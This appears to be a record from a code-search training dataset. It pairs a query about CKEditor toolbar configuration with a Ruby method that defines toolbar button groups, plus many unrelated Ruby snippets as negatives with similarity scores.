action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def proyecto_params params.require(:proyecto).permit(:nombre, :fecha_inicio, :fecha_final, usuario_ids:[]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
Toolbar configuration for CKEditor
def editor_toolbar [ { name: 'basicstyles', groups: [ 'basicstyles', 'cleanup' ], items: [ 'Bold', 'Italic', 'Underline', 'Strike', '-', 'Subscript', 'Superscript', '-', 'RemoveFormat' ] }, { name: 'clipboard', groups: [ 'clipboard', 'undo' ], items: [ 'Cut', 'Copy', 'Paste', 'PasteText', 'PasteFromWord', '-', 'Undo', 'Redo' ] }, { name: 'editing', groups: [ 'find', 'selection', 'spellchecker' ], items: [ 'Find', 'Replace', '-', 'SelectAll', '-', 'Scayt' ] }, '/', { name: 'paragraph', groups: [ 'align', 'list', 'indent', 'blocks' ], items: [ 'JustifyLeft', 'JustifyCenter', 'JustifyRight', 'JustifyBlock', '-', 'NumberedList', 'BulletedList', '-', 'Outdent', 'Indent', '-', 'Blockquote' ] }, { name: 'insert', items: [ 'HorizontalRule', 'SpecialChar' ] }, { name: 'styles', items: [ 'Format' ] }, { name: 'others', items: [ '-' ] }, { name: 'about', items: [ 'About' ] } ] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_toolbars\n # TODO\n end", "def toolbar\n @css_class << 'toolbar'\n return self\n end", "def load_toolbar\n @nav_body_content = \"admin/assignments/toolbar\"\n end", "def configuration(*args)\n result = @@toolbar_config ||=\n YAML.load_file(RedmineCkeditor::PLUGIN_DIR + '/config/toolbar.yml')\n\n args.each {|arg|\n break unless result = result[arg]\n }\n result\n end", "def set_tool_bar\n if (has_role? :superuser)\n @tool_bar = \"AdminToolbar\"\n else\n @tool_bar = \"MemberToolbar\"\n end\n end", "def set_tool_bar\n if (has_role? :superuser)\n @tool_bar = \"AdminToolbar\"\n else\n @tool_bar = \"MemberToolbar\"\n end\n end", "def quick_toolbar(how, what)\n QuickToolbar.new(self, how, what, parent_widget, window_id, :toolbar)\n end", "def calculate_toolbars\n toolbars = {}\n if display_back_button? # taskbar branch\n toolbars['summary_center_tb'] = controller.restful? ? \"summary_center_restful_tb\" : \"summary_center_tb\"\n end\n\n # FIXME: singular vs plural for controller.class.toolbar_singular\n toolbars['center_tb'] = if controller.class.toolbar_plural.present? && params[:action] == 'show_list'\n \"#{controller.class.toolbar_plural}_center_tb\"\n elsif controller.class.toolbar_singular.present?\n \"#{controller.class.toolbar_singular}_center_tb\"\n elsif controller.try(:toolbar)\n controller.toolbar.to_s\n else\n center_toolbar_filename\n end\n toolbars['custom_tb'] = controller.custom_toolbar\n\n toolbars['view_tb'] = inner_layout_present? ? x_view_toolbar_filename : view_toolbar_filename\n toolbars\n end", "def build_toolbar(tb_name)\n _toolbar_builder.build_toolbar(tb_name)\n end", "def getToolBar\n return @tool_bar\n end", "def canvas_editor_button!(params = {})\n set_canvas_ext_param(:editor_button, params)\n end", "def menu_toolbar(context=\"\")\n toolbar = Gtk::Toolbar.new\n\n up_button = Gtk::ToolButton.new(Gtk::Stock::GO_UP)\n up_button.important = true\n up_button.sensitive = true\n toolbar.insert(-1, up_button)\n up_button.signal_connect(\"clicked\") do\n if (context == \"meterpreter\")\n parent = dirname_up(@parent_remote)\n remote_ls(parent)\n else\n parent = File.dirname(@parent_local)\n local_ls(parent)\n end\n # up_button.sensitive = @parent != \"/\"\n end\n home_button = Gtk::ToolButton.new(Gtk::Stock::HOME)\n home_button.important = true\n toolbar.insert(-1, home_button)\n home_button.signal_connect(\"clicked\") do\n if (context == \"meterpreter\")\n parent = @parent_remote_init\n remote_ls(parent)\n else\n parent = GLib.home_dir\n local_ls(parent)\n end\n up_button.sensitive = true\n end\n \n refresh_button = Gtk::ToolButton.new(Gtk::Stock::REFRESH)\n refresh_button.important = true\n toolbar.insert(-1, refresh_button)\n refresh_button.signal_connect(\"clicked\") do\n if (context == \"meterpreter\")\n remote_ls()\n else\n local_ls()\n end\n up_button.sensitive = true\n \n end\n\n return toolbar\n end", "def header_editor_enabled; end", "def render\n write_item = toolbar_item(:label => \"Write\", :image => image(icon_path(\"187-pencil\")))\n \n read_item = toolbar_item(:label => \"Read\", :image => image(icon_path(\"57-download\")))\n read_item.on_action { connect_serial }\n \n reset_item = toolbar_item(:label => \"Reset\", :image => image(icon_path(\"01-refresh\")))\n \n expert_view_item = toolbar_item(:label => \"Expert view\") do |ev|\n ev.view = button(:title => \"Expert\", :bezel => :textured_rounded, :type => :push_on_push_off )\n end\n \n debug_item = toolbar_item(:label => \"Debug console\", :image => image(:named => \"NSActionTemplate\"))\n debug_item.on_action { connect_serial }\n \n # search_item = toolbar_item(:identifier => \"Search\") do |si|\n # search = search_field(:frame => [0, 0, 150, 30], :layout => {:align => :right, :start => false})\n # search.on_action { |sender| filter_instances(search) }\n # si.view = search\n # end\n \n tbar = toolbar(:default => [read_item, write_item, reset_item, debug_item, :flexible_space, expert_view_item]) \n \n # TODO: someone please tell me how where I go wrong:\n HotCocoaApplication.instance.controllers[:application_controller].application_window.toolbar = tbar\n end", "def default_bbar\n [\n :show_details.action,\n :ctrl_manage.action,\n :search.action,\n \"-\", # Adds a separator\n :add.action, :edit.action, :del.action,\n :apply.action,\n \"-\",\n {\n :menu => [:add_in_form.action, :edit_in_form.action],\n :text => I18n.t(:edit_in_form),\n :icon => \"/images/icons/application_form.png\"\n },\n \"-\",\n :row_counter.action\n ]\n end", "def init_toolbar\n # Setup all the buttons\n @undo_btn = Gtk::ToolButton.new(Gtk::Stock::UNDO)\n @undo_btn.set_tooltip_text \"Undo the Last Change and Review Question (BACKSPACE) (CTRL + Z)\"\n @undo_btn.set_sensitive false\n @undo_btn.signal_connect \"clicked\" do undo end\n\n @quest_prev = Gtk::ToolButton.new(Gtk::Stock::GOTO_TOP)\n @quest_prev.set_label \"Previous\"\n @quest_prev.set_tooltip_text \"View the Previous Question (CTRL + UP ARROW) (PAGE UP)\"\n @quest_prev.signal_connect \"clicked\" do select_prev_question end\n @quest_prev.set_sensitive(false)\n\n @quest_next = Gtk::ToolButton.new(Gtk::Stock::GOTO_BOTTOM)\n @quest_next.set_label \"Next\"\n @quest_next.set_tooltip_text \"View the Next Question (CTRL + DOWN ARROW) (PAGE DOWN)\"\n @quest_next.signal_connect \"clicked\" do select_next_question end\n @quest_next.set_sensitive(false)\n\n @answr_prev = Gtk::ToolButton.new(Gtk::Stock::GOTO_FIRST)\n @answr_prev.set_label \"Prev. Answer\"\n @answr_prev.set_tooltip_text \"Select the Previous/Lefthand Answer (LEFT/UP ARROW)\"\n @answr_prev.signal_connect \"clicked\" do select_prev_answer end\n @answr_prev.set_sensitive(false)\n\n @answr_next = Gtk::ToolButton.new(Gtk::Stock::GOTO_LAST)\n @answr_next.set_label \"Next Answer\"\n @answr_next.set_tooltip_text \"Select the Next/Righthand Answer (RIGHT/DOWN ARROW)\"\n @answr_next.signal_connect \"clicked\" do select_next_answer end\n @answr_next.set_sensitive(false)\n\n @find_fail = Gtk::ToolButton.new(Gtk::Stock::FIND)\n @find_fail.set_label \"Find Failed\"\n @find_fail.set_tooltip_text \"Finds an Improperly Answered Question (ENTER)\"\n @find_fail.signal_connect \"clicked\" do find_failed_question end\n\n @mark_as_bizarre = Gtk::ToolButton.new(Gtk::Stock::NO)\n @mark_as_bizarre.set_label \"Mark File Bizarr\"\n @mark_as_bizarre.set_tooltip_text \"Mark the current file as bizarre, i.e. if it's scanned incorrectly.\"\n @mark_as_bizarre.signal_connect \"clicked\" do mark_as_bizarre end\n\n @open_in_viewer = Gtk::ToolButton.new(Gtk::Stock::SELECT_ALL)\n @open_in_viewer.set_label \"View File\"\n @open_in_viewer.set_tooltip_text \"Open the currently shown sheet in an external viewer.\"\n @open_in_viewer.signal_connect \"clicked\" do open_in_viewer end\n\n quit = Gtk::ToolButton.new(Gtk::Stock::QUIT)\n quit.set_tooltip_text \"Exits the Application (CTRL + Q)\"\n quit.signal_connect \"clicked\" do quit_application end\n\n @prog = Gtk::ProgressBar.new\n\n # Setup actual toolbar\n toolbar = Gtk::Toolbar.new\n toolbar.set_toolbar_style Gtk::Toolbar::Style::BOTH\n c = -1\n toolbar.insert((c+=1), @find_fail)\n toolbar.insert((c+=1), @undo_btn)\n toolbar.insert((c+=1), @open_in_viewer)\n toolbar.insert((c+=1), Gtk::SeparatorToolItem.new)\n toolbar.insert((c+=1), @quest_prev)\n toolbar.insert((c+=1), @quest_next)\n toolbar.insert((c+=1), @answr_prev)\n toolbar.insert((c+=1), @answr_next)\n toolbar.insert((c+=1), Gtk::SeparatorToolItem.new)\n toolbar.insert((c+=1), @mark_as_bizarre)\n toolbar.insert((c+=1), quit)\n\n space = Gtk::ToolItem.new.add(Gtk::VBox.new false, 2)\n 